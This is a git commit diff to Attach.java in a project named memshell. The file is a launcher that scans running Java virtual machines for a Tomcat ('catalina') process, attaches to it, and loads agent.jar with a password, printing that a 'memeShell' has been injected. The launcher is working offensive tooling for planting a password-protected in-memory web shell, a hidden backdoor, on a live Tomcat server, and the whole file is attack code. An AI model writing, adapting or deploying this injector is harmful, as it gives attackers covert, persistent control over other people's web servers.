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change jvm finder loigc,fix some bugs

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rebeyond
2018-05-23 23:52:05 -07:00
parent cb1cfb5408
commit 1cc76fa340
1 changed files with 20 additions and 22 deletions
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src/net/rebeyond/memshell/Attach.java
+20 -22
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@@ -1,6 +1,10 @@
package net.rebeyond.memshell;
import java.io.File;
import java.util.Iterator;
import java.util.List;
import java.util.Map.Entry;
import java.util.Properties;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
@@ -9,51 +13,45 @@ public class Attach {
public static void main(String[] args) throws Exception {
if (args.length!=1)
{
if (args.length != 1) {
System.out.println("Usage:java -jar inject.jar password");
return;
}
VirtualMachine vm = null;
List<VirtualMachineDescriptor> listAfter = null;
List<VirtualMachineDescriptor> listBefore = null;
listBefore = VirtualMachine.list();
String password=args[0];
List<VirtualMachineDescriptor> vmList = null;
String password = args[0];
String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
currentPath=currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
String agentFile = currentPath + "agent.jar";
agentFile = new File(agentFile).getCanonicalPath();
String agentArgs=currentPath;
if (!password.equals("")||password!=null)
{
agentArgs=agentArgs+"^"+password;
String agentArgs = currentPath;
if (!password.equals("") || password != null) {
agentArgs = agentArgs + "^" + password;
}
while (true) {
try {
listAfter = VirtualMachine.list();
if (listAfter.size() <= 0)
vmList = VirtualMachine.list();
if (vmList.size() <= 0)
continue;
for (VirtualMachineDescriptor vmd : listAfter) {
if (!listBefore.contains(vmd)) {
for (VirtualMachineDescriptor vmd : vmList) {
if (vmd.displayName().indexOf("catalina") >= 0) {
vm = VirtualMachine.attach(vmd);
listBefore.add(vmd);
System.out.println("[+]OK.i find a jvm.");
Thread.sleep(1000);
if (null != vm) {
if (null != vm) {
vm.loadAgent(agentFile, agentArgs);
System.out.println("[+]memeShell is injected.");
vm.detach();
return;
}
}
}
Thread.sleep(5000);
Thread.sleep(3000);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}